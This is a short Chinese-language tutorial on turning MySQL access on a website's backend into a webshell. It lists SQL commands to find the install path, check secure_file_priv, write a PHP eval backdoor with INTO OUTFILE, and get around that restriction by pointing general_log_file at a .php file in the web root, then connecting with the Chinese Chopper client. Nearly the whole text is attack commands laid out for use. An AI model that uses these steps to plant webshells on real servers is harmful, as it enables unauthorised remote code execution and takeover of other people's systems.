获取 web 绝对路径

select @@basedir;

网站后台getshell

检测是否有写入权限

show global variables like 'secure%' ##查看secure_file_priv值,结果若为NULL,则不能使用loadfile,into outfile进行读写文件

网站后台getshell

写入webshell

secure_file_priv为空

select '<?php @eval_r($_POST[cmd])?>'INTO OUTFILE 'D:\\soft\\phpStudy\\www\\eval.php'

secure_file_priv为路径

  • 值为路径时,只能webshell写入此路径
  • 值为null时,不能写入webshell

突破 secure_file_priv限制

mysql中有两个全局变量是我们getshell需要用到的重要变量:
general_log
general_log_file

general_log 是mysql中记录sql操作的日志,所有的查询语句会记录在一个日志文件中,但因为时间长了会导致日志文件非常大,所以默认为关闭,有时候在管理员需要进行排错时才会暂时性的打开这个变量
show variables like 'general_log%';

网站后台getshell

 

首先打开操作日志记录

set global general_log = 'ON';

设置操作记录日志路径

set global general_log_file='D:\\phpstudy\\WWW\\e.php'

执行sql语句,将webshell执行的语句内容记录到文件中,就可以getshell了

select '<?php phpinfo();?>'

然后用菜刀访问e.php就行了

 

 

 

 

 

 

相关文章:

  • 2021-06-30
  • 2022-12-23
  • 2023-01-29
  • 2021-09-25
  • 2021-10-18
  • 2021-08-12
  • 2021-07-23
  • 2021-06-16
猜你喜欢
  • 2019-01-27
  • 2021-09-05
  • 2021-10-06
  • 2022-12-23
  • 2022-12-23
  • 2021-06-14
  • 2021-09-12
相关资源
相似解决方案